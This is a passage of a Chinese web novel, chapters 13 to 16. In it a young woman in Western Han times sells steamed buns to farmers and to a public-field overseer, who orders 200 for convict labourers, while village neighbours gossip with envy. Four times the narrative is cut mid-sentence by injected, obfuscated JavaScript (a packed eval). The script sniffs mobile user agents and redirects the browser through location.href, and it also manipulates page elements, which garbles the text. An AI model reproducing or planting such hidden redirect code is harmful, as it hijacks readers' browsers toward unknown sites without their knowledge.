田里，一个头裹布巾，打着赤膊，下头是犊鼻裈，脚蹬了麻履，怀抱着一捧稻穗的小儿郎认出她来。 “阿翁！你昨日就说要给我买白玉蒸饼的！” 他扭头叫唤，那正在弯腰刈稻子的是他阿翁。 汉子正在刈稻，也同样穿着犊鼻裈，上身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300272|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还穿件麻布短衫，闻言抬起头，用搭在肩膀的巾子擦擦汗。 昨日在乡市，他家小儿见旁人手中白胖胖的白玉蒸饼就闹着要，不过那时去问，人家都已经卖完了，便允诺小儿下次去乡市给他买。 今日全家都在收稻子，自然没功夫去赶集，没想这女娘恰好叫卖到他们金氏里的田间地头上来了。 “也好，姜娘，咱们中食就吃蒸饼，也不用累你另去做中食了。”他跟自己的妻子说。 平日他们都吃两餐，但农忙是力气活，只吃两餐怕是撑不住，家里妇人会多做一餐中食，拿饭箪装好送来田里。 如此，一来，要匀出人力回去做饭食；二来妇人既要忙地里的活，又要做饭食，也很累人。 索性田里有叫卖蒸饼的，买来吃也方便，不求能有多好吃，好歹是面粉做出来的，能管饱就行。 “也好。” 被唤作姜娘的也赞成，这就近前来买季胥的蒸饼。 她家小儿立马挤前来，大清早在地里忙到现在，哪能不饿的。 妇人朝季胥的柳篮里看了看，纳闷这蒸饼怎的这么光滑？心道难怪小儿在乡市见了就念念不忘。 季胥介绍道：“白玉蒸饼一钱一个，红糖蒸饼滋味更甜，两钱一个。” 妇人见她的蒸饼做的实在，一个足有碗口大小，吃起来也能垫个饱。 她家两个大人，一个孩子，便道：“拿三个白玉蒸饼。” “阿母，我还想吃那红糖的！”小儿郎道。 “尽会乱花钱，”妇人责他一句，到底心软，“罢了，再给他拿一个红糖蒸饼。” “劳女娘等一会儿，我还得家去拿钱。出来下地，身上不好带银钱，不定掉哪里可惜了了。”妇人有些羞涩道。 “不打紧，我正好还要在附近叫卖，不会走远。”季胥先将四个蒸饼给那小郎。 小郎晒得黑不溜秋，瘦胳膊捧过那蒸饼，拿起红糖的咬了一口，好甜！而且明明是凉的，竟还是松软的，一点也不硬。 他跑到阿翁身前，举高手，“阿翁，你尝尝！极好吃！” “你自己吃。”然而小儿硬要让他尝，汉子只得咬了小口。 满口满心的甜滋滋，再吃那白玉蒸饼，暄软，不知不觉吃完了整个，再拿铁镰都添了不少力气。 犊鼻裈小郎珍惜的再吃上一口红糖的，还剩半个，想着留给阿母吃，自己也拿起那白玉蒸饼来吃，咬一口，别提多满足。 各家田地相连，隔壁田里的人家见他们这里吃得香，也朝季胥招手， “女娘，来这儿，我看看你家白玉蒸饼！” 田地里买的人多起来，季珠看见柳篮里越来越少的蒸饼，开心极了。 13. 第 13 章 因在卖蒸饼，赶不及回家做中食，胥、珠两个拣了处田埂，也坐在上头，吃的蒸饼。 想到在牧猪的季凤，好在季胥早晨给她装冯富贞的四个蒸饼时，想着今日蒸饼多，中午不定能卖完，另多装了两个给季凤，让她饿了垫垫肚子，如此也解决了三人的中食。 吃过蒸饼，再拿那半截竹筒，和田里的人家讨了些水喝，便继续沿田叫卖，走到一连片千亩良田时。 四顾望去，这处忙活的都是汉子，大多穿着半旧的皂色短衫子。 那弯腰刈稻的，不同于先前遇见的，手脚麻利的同时，对待稻子分外珍惜，不会大动作，叫熟透的稻粒掉在土里。 这片田里的汉子则不同，都一副懒怠动弹的模样，每刈一把稻，往旁边一丢，倒有着泄愤的力气。 只见那田里，和一路看过来的田地一样，都置着方形的，斜壁的掼桶，割下的稻子，汉子捧着到掼桶旁，在桶沿掼打，那稻粒便脱落下来，落在桶底。 不过，细看下，秸穗上还挂着不少稻子，便丢开来了，掼打的并不仔细干净。 “郎君，买些白玉蒸饼，软和好吃，又能填肚子。” 他们听见季胥的叫卖，无一例外不扭头来看，滚咽口水，但都继续低头刈稻、掼稻，无人来买。 有部分汉子，头戴赭色毡巾，穿着赭色衫子，衫子背后还有字，季胥是习过隶书的，能认出来，背上写的是“下吏”，或是“隶”。 细望去，他们双脚还戴着镣铐，比起那些穿皂色短衫的，他们这些汉子的眼神有的分外大胆，直勾勾盯着季胥的篮子。 一旁邻着的田里，才买过蒸饼的一个妇人朝她招手， “女娘快别过去。那片是官家公田，田里那些人，他们有的是来过更的更卒，这些都是编户黔首，他们这些人倒没什么； 有的哪，可是犯过事，在刑期的犯人，被官吏从县牢里调来服苦役的。” 妇人指给她看，那些在田埂上走来走去的，就是监工的官吏。 原来如此，如今，成年男丁二十岁起役，直到二十三岁，每年要服一个月的傜役，服役现下也称为“更”，像田里那些充劳役的就叫“更卒”； 二十三岁起，还要充当一年的材官、骑士、楼船，这些叫做“屯戍之卒”；再充当一年护卫官廷的“卫卒”；一年守边防的“戍卒”。 这般才算服满役，除了有些享有免役特权的，或者能花的起钱找代役来“践更”的，大多平民百姓都要自己来服徭役。 役期的更卒们被派来给官府的公田收稻子，定时定餐，哪里会自掏腰包来买蒸饼；而尚在刑期的犯人，就是想买，手头也无银钱。 因此这千亩田，纵使人多，却也做不了生意。 季胥望了望不远处的官吏，虽说他们或许会买，但这片公田既有服役人员、又有服刑人员，还有吏员把持，对外人涉足的管控肯定是严格的。 谨慎为妥，季胥还是及时退了出来，袖子擦了擦日头下晒出来的汗，只能再走远些，别处叫卖去了。 远处公田里，只见田啬夫庄盖邑来回巡走，手持一鞭，口内催促， “都给我快点！手上麻利点，明日务必把稻子收完！” 说着，鞭子挞在那些刑役人身上，一时叫苦不迭。 这批稻子被平准署催得紧，听说是关东旱灾，那地方粮价上涨，俗话说粮价带百价，平准署就负责管理粮食价格，在各郡设有均输队伍，丰则籴，俭则粜，通过在不同地方征收、出售粮食来平抑粮价。 京城长安平准署分布在扬州的均输队伍要大量收购秋收的稻谷，运往关东平抑粮价，公田的粮自然是首先被征收的。 县官们不待见平准署的人，只丢话要求田啬夫配合平准署的官差。 可田啬夫是什么？就是一个看守公田的小官，平时就住在田边的那间小茅屋里，稻子熟了负责提防那些趁夜摸来偷稻的小毛贼。 两日后，准时叫平准署的人把稻子运走还好，若是延误差事，县里自然推他这个小官开刀。 他只有一双眼，一张嘴，喝一句，眼下能快些，等他目光一挪开，该怠工的还是怠工，毕竟不是给自家收稻子，谁愿意下死力去干？ 庄盖邑便取了鞭来，力道适中，专鞭挞得叫人发痛，却又不至于伤到连活也干不了。 季胥见那景况，鞭子落在人身上，痛的叠声叫唤，不由的皱了眉。 近处，能听见汉子们的埋怨： “朝食就吃半碗豆粥，还是水多豆少，哪有力气干活……” “就是，偏生催的这样紧，这两天的役可真不是人干的。” 田啬夫刚收了鞭，卷在腰间，只言片语的吹到他耳内，不禁捏了拳，亭里那些个厨啬夫可真贪，钱按标准收了，餐食却不按标准来做，知道这帮人是刑役人员，朝食就送来两桶稀的不能再稀的豆粥，三十个人分，这没吃够，谁愿意卖力干活？ 一扭头，只见对面田埂上，一监工小吏正从一个女娘手里接过个什么吃食，看着白胖软乎，啃了一口，像是面食，不知具体是何。 女娘从他手里接过一枚钱，田啬夫立时看懂了，喝道： “速速离开！此地闲杂人等不许入内！” 叫卖吃食竟叫卖到公田来了。 话说季胥听完隔壁田地妇人的告诫，都退出去了，是被小吏招手叫唤，这才进来卖与他。 如今听闻田啬夫的驱赶，只见是个面容糙黑，身形魁梧的男子，裹着方石青粗布帻巾，一身皂葛布的短襦，为着行动利落，裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300273|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚还绑了白布条。 提气喝那一声，怕是十里外都能听着，吓的季珠直往她身后躲藏，小耗子似的乱战，季胥拍了拍身后的妹妹，让她别怕，这就配合的提起柳篮离开。 那买了白玉蒸饼的小吏也被唬了一跳，后想想，他是县里狱曹的，被派来监工这批在刑犯人，并不归一个食俸二百斛的田啬夫管，便宽了心，啃食着蒸饼，一面陪笑道： “啬夫莫恼，我喊这女娘过来的，亭里送的都是些什么应付人的吃食，那豆粥，撒泡尿就没了，我买个蒸饼来垫垫肚子，别说，这白玉蒸饼可真好吃，庄啬夫要不也买来尝尝？” “慢着。”田啬夫庄盖邑叫住她。 “你这蒸饼是自己做的？”他问道。 “正是。” “我看看。”田啬夫说。 季胥揭开麻布，露出篮里光滑细腻的蒸饼。 “好吃管饱，吃了做活有力气。”她将狱吏抱怨的话听了进去。 此时的亭，设在乡里的也称乡亭，亭长总揽一亭事务。亭内还有屋舍、厨房，不仅给外出的平民百姓提供住宿，还负责接待官吏，像他们这片公田的吃食就是亭内的厨啬夫负责。 这田啬夫方才一个劲在催刑役们抓紧收割，可底下窸窸窣窣的埋怨，就季胥站这一会，便有不少吹到耳内。 因此她特地强调蒸饼的饱腹感。 “吃饱了，兴许比鞭子好使。” 这是在说他不该鞭挞那些犯懒的汉子？庄盖邑这才正色以待起来，只见这女娘生的单薄，木簪别着发，半旧的襦衣，将妹妹护在后头，自己倒临危不惧，方才换旁人被他一喝，早吓软塌了。 他一年四季在此地，面容晒的黝黑粗糙，嗓门又粗浑，等闲毛贼都不敢来偷盗他监守的这片公田。 “数一数，还剩多少个？”并未分证她那话。 “白玉蒸饼还剩十五个，红糖的还剩二十五个。” “我都要了。”庄盖邑道。 狱吏惊道：“这加起来可得有四十个，碗口大小一个呢，怪道你生猛高大，一气能吃完这么多？” 据说这庄盖邑之所以能任这田啬夫，皆因他生有怪力。 前年，县里富户曾举行扛鼎赛，在门前立着一高大的青铜鼎，若谁将鼎举过头顶，能得百钱。 十里八乡不少力士闻风而至，可双臂暴了筋，那大鼎都纹丝不动，最后竟被一个年十五的儿郎给高举过头顶，那人便是庄盖邑，原是个浑身血腥气的杀猪匠。 后来县官听说，便荐举他来这监守这片毛贼猖獗的公田，别说，自打庄盖邑做了这田啬夫，这带公田一直安安生生的，没有一次遭了盗的。 庄盖邑道：“非我一人吃，给地里那三十个汉子一人发一个，做中食。” 14. 第 14 章 他这就向茅屋去，拿钱来付。茅屋支立在田头上，竹子做的墙，茅草为顶，里头并不算宽敞，一张杨木板床便占了小半的位置，上头铺着竹簟，搭着张拿来盖的狼皮毡子。 去岁夜半，山里的狼闯了来公田觅食，庄盖邑正好挽弓搭箭，射了来，狼肉卖给县里肉肆了，这张狼皮还留着，用着还顺手。 只见西墙挂着张大铁弓，一袋或铁或木的箭矢，下头置着四四方方的韦笥，前头缀着把铁簧锁。 庄盖邑自腰间摸出钥匙，开了锁，韦笥里尽是平日里换洗的衣裳，叠的齐整。 他从中翻出个钱袋子，方向外去，将钱如数给了季胥。 这会子，发蒸饼的事吩咐了一个县里派来的佐吏去做。 佐吏发完后，将两个空篮子带回给季胥。 “这是中食，朝食的豆粥吃的不尽人意，这蒸饼给大家垫补垫补。”田啬夫一面巡走，一面道。 田里的汉子收到蒸饼，口里念念有词，这可是精粮做的，比豆粥不知好多少，况且生平从未尝过这样暄软的蒸饼，吃进肚里，不禁念田啬夫的好， “啬夫怜恤贱役……” 做活也都卖力了，不再像之前那样懒怠。 一圈下来，田啬夫立在田埂上，也咬了口手里的红糖蒸饼，软乎绵甜，这女娘手艺好，他大口吃完剩下的。 想着还有明日一天，断不能再由亭里送些敷衍的吃食来。 返身和季胥商量道：“女娘明日还卖蒸饼否？我订一百八十个白玉蒸饼，二十个红糖蒸饼，只一点，日出时分务必送到此地来。” 白玉的发给贱役吃，一日三餐，每餐两个；红糖的就拿来款待这些监工，田啬夫如此忖度。 一次性能卖二百个蒸饼，季胥自然做。 至于送达时间，西汉是十二时辰制，分别是：夜半、鸡鸣、平旦、日出、辰时、隅中、日中、日昳、晡时、日入、黄昏、人定。 本固里的小谷场，设有座石刻的日晷，若是有日阳儿，中央的铜箭落影便能指向对应的时辰。 夜晚黑魆魆的，没有阳光，靠日晷自然没法子辨别时辰，除非有更先进的铜漏壶，但季胥家里自是没有这样的物件。 不过，日出时分，大约就是后世五点钟，乡里半夜便能听鸡打鸣醒来，况且季胥心里压着事，也不会睡死，她倒不担心误了时辰。 她不疾不徐应：“日出一定送到。” 倒不怕此人出尔反尔，白费她的工夫，一则，他订蒸饼这话当着诸多小吏和刑役者说的，尤其田里那些刑役汉子，一听田啬夫明日还订蒸饼，眼睛都直了，倘若田啬夫明日反悔，只怕他也没法督促底下的人卖力收稻子； 二则，田啬夫虽是小官，但到底食俸二百斛，不会出不起这二百个蒸饼钱。 不过要做二百个蒸饼，需得去乡市买整整一斛面粉。 还有，家里竹甑不够用，效率太慢，误了时辰是大事，牛脾山的竹子或老或嫩，俱不适合拿来破篾编竹，况且也全被金氏砍空了，估计得往深山走，方可能寻到无主的竹，但牛脾山深处有野兽出没，她赤手空拳的，不准备冒这个险。 便只能费钱了，再买个陶鬲，上面搭配着陶甑来用，届时两个灶眼同时开蒸，会快得多。 面粉还是原先的价钱，六十钱一斛。 陶鬲四十钱，陶甑二十钱，季胥讲了讲价，掌柜的倒拿乔，一钱不少，谁让全乡市独这一家器皿肆，只能照价付了。 日后家里的旧陶釜就专门用来炒菜，新买的陶鬲除了上头能蒸东西，还能用来煮饭，烧水也方便得多，她们三姊妹这两日用天名精煮水洗头，头上的虮虱明显少了许多，再坚持三五回就能根除了，买了陶鬲，烧水就不必和陶釜混着用了。 今日，除去姊妹仨朝食与中食吃了的蒸饼，卖了的有九十个，挣了一百三十五个钱，贴近了口算钱的目标。 买完家当，一下回到解放前。 抹了抹手心下剩的十五枚钱，季胥索性放开了花，又买了只陶瓯，只见是大口短颈，椭圆形腹的模样，带盖，还配个勺，容量大，拿来盛猪油正好，家里缺这样的器皿，这是竹筒没法替代的。 如此便将挣的全花净了。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300274|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不妨事，工欲善其事，必先利其器，这般便能放开手脚做了，明日还有一个大单子呢。 她还想给家里添个水瓮和水桶的，这也急不得，慢慢添置罢了。 傍晌时分，走在路上，季珠兴兴头头说要相帮，季胥便让她提着两个空柳篮，自己则背着筐篓，抱着陶鬲，上头叠着个陶甑，那面粉并陶瓯便搁在了筐篓里，如此一径家去了。 太阳斜歪在山头，将两人的影儿返长在路上。 季胥手上东西分量重，走一段路，得放下来歇肩。 她站在路边甩甩有些发酸的胳膊，季珠默默想替她抱起那陶鬲，结果使出吃奶的劲，脸都憋红了也纹丝不动，到底是小孩子。 季胥笑道：“小珠帮阿姊拿篮子已经分担很多了，否则阿姊还真腾不出手来拿这两个篮子。” 季珠面含羞赧，她说：“我长大可以有力气帮阿姊拿更多东西。” 季胥摸摸她脑袋，“谢谢小珠。” 进入本固里的地界，熟人多起来，她再歇肩时，路旁稻田里不时传来农妇们的说长道短： “胥女卖蒸饼回来啦？” “这对陶鬲和陶甑花了不少钱罢？” “你倒不急，这没几日就要纳赋税了，还花这好些钱添置东西，那赋税可是大头，你家得一百多钱罢？官差可不讲情面，缴不上钱说下狱就拉你下狱去！啧啧，到底年纪轻，大事上面没个算计哪。” 季胥自然回应，“捡的最便宜的买来使，家里就一个陶釜，既要做菜又要煮饭实在不便，还有四日，那税钱慢慢的攒了来。” 慢慢的？ 众人笑她心大，也有等着瞧好戏的。 金氏便是后者，只见她家二十亩地，一家子上阵，如今割了有五六亩，那掼桶里，掼打了金灿灿的稻粒，一竹箕一竹箕的往筐里倒，挑了回家去，倒晒在院里。 这二十亩地的丰收，可意味着自家不用愁那赋税了，行走间自是像那大公鸡，见那季胥还花钱添办东西，撇嘴则声道： “我要是田桂女，知道自己女儿笨成这样，都得从地底爬出来捶她。” 15. 第 15 章 季胥回家先去屋后看了看那菜地，昨日种的菜籽、蒜粒并姜，已经有些破土出来的嫩秧苗了，绿茸茸的。 “阿姊，长出来了！”季珠指说道，百般欣喜。 “日后便能吃上咱们自己种的蔬菜了。”季胥也开心。 一面道，一面稍微浇了点水。 季珠央说她来浇，足兴的模样，什么都爱沾沾手，季胥便细细教了她，见她有模有样，下剩一点便交由她，自去生火做饭食了，晡食准备炒昨日季凤带回来的那只大薯。 拎出柴刀，蹲在檐下削皮的当口，季凤背着捆柴禾回来了，迫不及待问： “阿姊，今日的百来个蒸饼卖完了吗？” 这关乎她们能不能缴得起口算钱，若是不按时缴，户主可得被押去下狱。 想到这，季胥微微一笑，不等她开口，刚放下水瓢的季珠便手舞足蹈，同她分享道：“全部卖完了，而且有一个田啬夫还订了二百个蒸饼！” “二百个？”季凤又惊又喜。 “不过那个田啬夫吓人的很，他赶人的时候，声音就像打雷一样，腰间还有鞭子……”一面说起白日的遭遇，一面拉了季凤至灶屋，去看那新添的家当。 “瞧，阿姊还买了鬲和甑！”等说起这个时，方欢喜起来。 只见那口船头灶上，原本空荡漆黑的灶眼，现添上了陶鬲并甑子，那灶面上，挨着墙放盐酱这些调料的地方，还多了只醒目的陶瓯，，季凤揭盖一看，里头是白白的猪油，摸索着这些簇新的物件，这心里也有滋有味的，口内念道： “太好了，口算钱有着落了，家里还添了家当，不像以前那样缺东少西的。” 说是以前，细数数就是五六日前，那会儿盐还是用碎瓦片盛的，哪吃的起猪油，还装在体面的陶瓯里，眼下旁边一应的盐酱齐全，盐用竹筒盛着，酱在小酱瓿里，收拾的伶伶俐俐的，这日子越过越越有盼头。 次日鸡鸣时分，季胥便起来做蒸饼。 稍后季凤听着鸡鸣，摸到一旁空的，便揉着眼圈也醒了，趿了鞋，蹑脚儿出屋子，没吵醒最里头尚睡的香甜的季珠。 有了陶鬲和陶甑，两个灶眼能同时生火来蒸，更有效率。 “幸而阿姊昨日买了陶甑回来，做起来快多了。”季凤添柴禾时道。 只见那高高的甑子冒着白雾，满屋的麦香。 二百余个蒸饼做好后，季胥拿了先时编的新筐篓来装，背着方便，又另装了两个柳篮。 时辰尚早，季凤也不急于去冯家牧猪，帮着提了一只柳篮，送季胥去庄盖邑监守的那片公田。 临走季凤想了想，犹是退回去，将屋子给锁了，钥匙挂在脖子。 屋子里头季珠还没醒，东墙上还挂着袋新沤好的饼酵，这饼酵是关窍，得锁好了。 “阿姊放心，小珠如果醒了，见屋子从外面锁住就知道我们赶早去卖蒸饼了，会乖乖等我们回来的。” 季胥有印象，从前凤、珠还小时，会睡晌午觉，田氏便会趁这段时间，带稍大些的大女儿去拾柴或者浇菜，离去时为防有贼人来偷东西，自然会把屋子锁着，有时她们俩个醒了，就自己在床上玩，也不哭闹，十分乖巧。 “嗯，让她多睡会儿。” 这两日季珠起早同她去乡市，有时倚着她直打盹儿，季胥想着卖蒸饼要走的路多，她一个五岁的孩子跟着实在受累，不如让她留在家顽，再说今日去那片公田，别又叫那田啬夫吓怯了她， “你回来时她应该就醒了，到时候把钥匙给小珠，她或是在家，或是锁了屋子去冯大家的山头找你作伴也行。” “好。”季凤应着，想着到时得叮嘱小珠一番。 畎亩间灰蒙蒙的，有些已经下地忙碌的身影，见着土路上她们俩姊妹向外去的身影，不禁聊起来， “昨儿是三篮子，今儿连筐篓都背上了， 究竟什么蒸饼这么好卖？赶明儿家里稻子收完了，我也做了去乡市卖去。” “赖婶儿，她这蒸饼你可做不来。我家汉子昨个去乡市卖鸡蛋，见她卖的那蒸饼，光溜溜、软乎乎的，不像咱们做出来的又硬又磕巴。” 廖氏说道，她就是前些日子刚被王麻子打趣，要她用三斛稻子娶季胥给她家崔广宗做新妇的廖氏。 那会儿她嫌季胥一拖二，要把她家给带累穷，现在倒有几分认真琢磨起那话来。 这季胥有做蒸饼的手艺，娶回家来，那赚的钱不就是自家的？ 那两个小的，稍给点吃食养着就行了。 不过，这每年还得给她们纳口算钱，这是笔大开销，还得再仔细掂掇，晚些回去同她家男人商量一番。 “农忙谁有功夫去乡市赶集买她的蒸饼？她怎的一日比一日做的多？”王麻子道。 “这事我清楚，乃是田啬夫在她那订了几百个蒸饼，要发给贱役吃。” 应话的是廖氏的妹夫，姓金，家是本乡金氏里的，今日一早夫妻俩赶来给廖氏一家帮忙收稻谷，尽亲戚间情分。 “我家的两亩田挨着公田，昨儿个自家收稻子，那女娘在我们那带叫卖蒸饼，我亲耳听见田啬夫订下二百个。” 廖氏朝她妹子瞪眼，“你怎么不早与我说？” 小廖氏：“我也不知这女娘竟是本固里的，见她有这等手艺，还以为是盛昌里哪家的富贵女娘。” 二百个，听说是一钱一个，那就是二百钱呐。 丰年里，一亩地亩产不过四斛稻谷，行情好时，一斛稻谷顶天了卖个四十钱，这还是需得从夏到秋小心服侍。 可这季家胥女，光一天就能挣数百钱？ 那一个月？一年？这笔账各自一算，田里不少人红了眼。 就连金氏，心里也油煎似的，怪道还能花钱添家当，原来是有个大单子，照这样下去，别说口算钱能攒了来，那二房岂不是很快要越过大房去？ “这胥女，也不知是谁教她的手艺……”金氏直犯嘀咕。 王麻子酸溜溜道：“定是在长安宫城里三年，遇着贵人了，倒教她因祸得福了。” 他先时还以为是季凤借着牧猪，偷的冯大家的果儿去卖，她家方能吃的起肉，今日才知，季胥有这等挣钱的手艺。 不过他又说酸话：“这也就是运气好，田啬夫买了她数百个蒸饼，平日哪有这么好卖，谁还能日日吃蒸饼？” “我说也是……”金氏也应和，其间酸味只有自己知道。 大家心里稍微平衡些，不过各自也都万般想窥得那手艺。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300275|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>** 公田处， 季胥将筐篓并柳篮卸在田埂上头。 昨日那狱吏头个凑前来，见那蒸饼俱是实打实的个头，与昨日的并无二致，说道： “你倒是个实诚人儿，不像那厨啬夫，因是做给更卒刑犯就昧了良心，偷工减料的。” “哪能做坏良心的事，这是一家子营生，倒教坏了名声，况且，官差在这儿守着，还有谁敢做这样的黑心事。”季胥说道。 说的狱吏一笑，站这会子，庄盖邑也来了，只见还是昨日那副利落模样，只是用来裹额的换成了一条赤帻。 他手里一串用红绳串着的钱，递与了季胥，便亲去发蒸饼了，每人先发两个做朝食，发下去自然免不了催促大家加紧收割。 这厢，季胥点了点钱，二百二十枚，正是这个数。 季凤见那钱，都笑成朵花儿了，见那串钱的绳，央道： “阿姊，这红绳编的好，颜色又鲜亮，用烧了火星子的小棍点成两条，给了我和小珠一人一条，做头绳好不好？” 两个妹妹尚未及笄，并不似季胥用簪子绾发，仍用头绳绑丫髻或小揪儿，哪能不爱这红绳，这可是罕物，她们现还用灰扑扑的草绳绑发，不及这好看。 季胥听说，这便将红绳解下来给她，那钱收在竹筒里，笑道：“依你的。” 蒸饼还在分发，她还等自家那筐篓柳篮空出来，季凤喜的一叠声叫她好阿姊，将红绳塞进怀里，惦记牧猪的活儿，踮着脚儿，开心的跑走了。 “平准署的官差今日傍晚就要运走这批稻子，诸位加把劲儿，除了每餐亭里送来的豆粥，还可额外得两个蒸饼！” 有些汉子家里穷苦，是来代役挣钱的，得了蒸饼并不舍的吃。 揣在怀里，想着今日役期结束，带回去给家里人一道吃，这可是精粮。 季胥在一旁，听见平准署三字。 她从手挽的篮子里拿来个红糖蒸饼，递给昨日做过生意的那个狱吏。 除去给田啬夫的二百个，篮里头约莫还剩着三十来个，季胥打算待会沿田叫卖的。 狱吏刚吃完一个庄盖邑分发下来的红糖的，正回味呢，就见季胥递给她一个。 他接过来啃着，满嘴香甜，听季胥朝他打听道： “官爷，平准署派人来这，可是哪里粮价波动？” 他纳闷这女娘朝他打听这事做甚，不过吃了人家东西，也就知无不言， “关东那带旱灾，颗粒无收，不仅咱们灵水县，扬州好些郡县的粮都被征收走了，要运往关东平抑粮价呢。” 原来如此，季胥若有所思。 狱吏瞥她一眼，察觉这人胆量不寻常，平常人见他这种佩刀的狱吏，都不敢近前，她竟还敢主动来攀谈。 “你打听这做甚？” 季胥做出忡忧状， “怕咱们灵水县粮价也要上涨，届时家中无米做炊。” 狱吏哈哈大笑，“女娘家见识短浅，扬州饭稻羹鱼，今年还是个丰年，粮价如何上涨？ 况且有平准署平抑粮价，你这纯属是庸人多忧。” 季胥没有言语，恰好那空出来的柳篮都送回她手中了，她也就颔首辞别狱吏，继续沿田叫卖剩余的。 16. 第 16 章 此时家中，季珠揉着眼圈坐起来，一脑蓬乱的头发，小脸哈欠不止，开了开门，见外头锁着，拉不动，便又爬回床沿坐着。 少时，门一响，只见季凤进来了，手里拈着两段红绳，刚在灶屋用火星烧成两截，那炭化的一截还发烫呢。 喜形于色道：“瞧瞧，咱们的阿姊得了什么好东西，这拿来做头绳漂亮吧？” “漂亮！”季珠点头道，爱不释手的拿着瞧。 “二姊给你绑头发。”说罢便从坛口窗那拾了竹篦，用豁齿少的那面沾了水，给她左右绑了丫髻。 自己也解散一侧头发，重新用红头绳绑了。 二人凑在盛水的陶盆前，歪头晃脑照了好一会儿，只见一侧是红头绳，一侧仍是草绳，但这样便很满足了。 “一左一右，人家见了就知道我们是一对姊妹呢。” “这红头绳就是亮气，那田啬夫也舍得拿这么好的绳来串钱。” 季凤说道，季珠话少，只是一张团团笑意的脸，映在水中，可爱的紧。 过会子，季凤得赶去冯大家牧猪了，拉了季珠叮嘱她：“可不能让外人进我们睡觉的屋子，知道吗？你如果出屋子，定得上锁。” 季凤都想把那饼酵带在身上，还是不妥，阿姊要做蒸饼要不方便了。 想了想，把季珠牵出门外，亲自锁好门，钥匙挂在季珠脖子上， “若是睡午觉，进了屋子记得在里面落好门闩。” “二姊，我记下了。” 季珠看着季凤的背影乖乖点头。 她按照季胥吩咐的，每日早起都从屋檐柴草上的竹筒里抽一根柳枝来嚼，直到柳枝嚼成细缕才丢在灶旁当柴烧。 又舀水洗了把脸，才背起空筐箩，想去牛脾山捡松球。 松球很好烧，虽然火不够旺，但很耐烧，适合拿来烧水。 她想着，自己多捡些松球，到了寒冬腊月可以拿来烧水，二姊在冯大家后山拾回来的那些好柴禾，就砍成段，平日拿来做饭食、做蒸饼。 如此盘算着，她那小身板满是动力，临走时，在陶釜里抓出个尚且温着的白玉蒸饼。 釜里还剩两个红糖的，是阿姊一并留给她做朝食的，她想着剩下两个捡完松球回来吃。 便背着筐箩，一边吃着软乎乎的白玉蒸饼，朝牛脾山去了。 路上遇见王利、崔广耀、陈狗儿、陈穗儿他们。 崔广耀七岁，陈狗儿和陈穗儿是一对龙凤胎，六岁； 王利是他们之中稍大些的，拿着直溜儿的木棍，当作木剑，正在指挥他们， “广耀做先锋，狗儿做左将军，冲！荡平匈奴！” 崔广耀便拿着木棍，朝路边的野草胡乱削打着。 陈狗儿挠挠头，“那我妹妹是什么将军？” 王利跺脚，“你个无知小儿！军营里哪有女娘？快给本将军冲！匈奴打过来了！” 陈狗儿牵着他妹妹，“可是我妹妹也得玩呐，让她做骠骑大将军吧。” 王利不肯，“我才是骠骑大将军！” 他想了想，“封你妹妹做个弓弩手吧。” 陈穗儿望见路过的季珠，有着同为女孩的亲昵感，跑前来说话， “小珠，我们在点兵点将，你也来玩儿。” 季珠摇摇头，“我想去捡松球。” “那我也陪你去牛脾山捡松球。”陈穗儿本就不喜欢他们小郎玩的军戏，扭头和陈狗儿说， “阿兄，我同小珠去牛脾山捡松球。” 说着，两个半高的小女就走远了。 王利巴不得可以不带女娘顽，“好哦！我们继续顽！” 不过，他眼睛利，看见季珠手里拿着雪白的蒸饼，还撕了小半给陈穗儿。 这一定就是昨夜他阿翁王麻子说起的白玉蒸饼，听说能卖一钱一个，这季珠可真大方，不像她二姊季凤。 他眼珠子转了一转，把木棍一挥，“匈奴在牛脾山！向牛脾山进军！” 崔广耀和陈狗儿便跟着他也朝牛脾山去。 陈穗儿虽然馋季珠吃的蒸饼，没想她从下面撕下半块分给自己，有些脸红道： “我在家中吃了朝食出来玩的，你自己吃罢。” 季珠说：“我家还有，你尝尝，好吃的。” 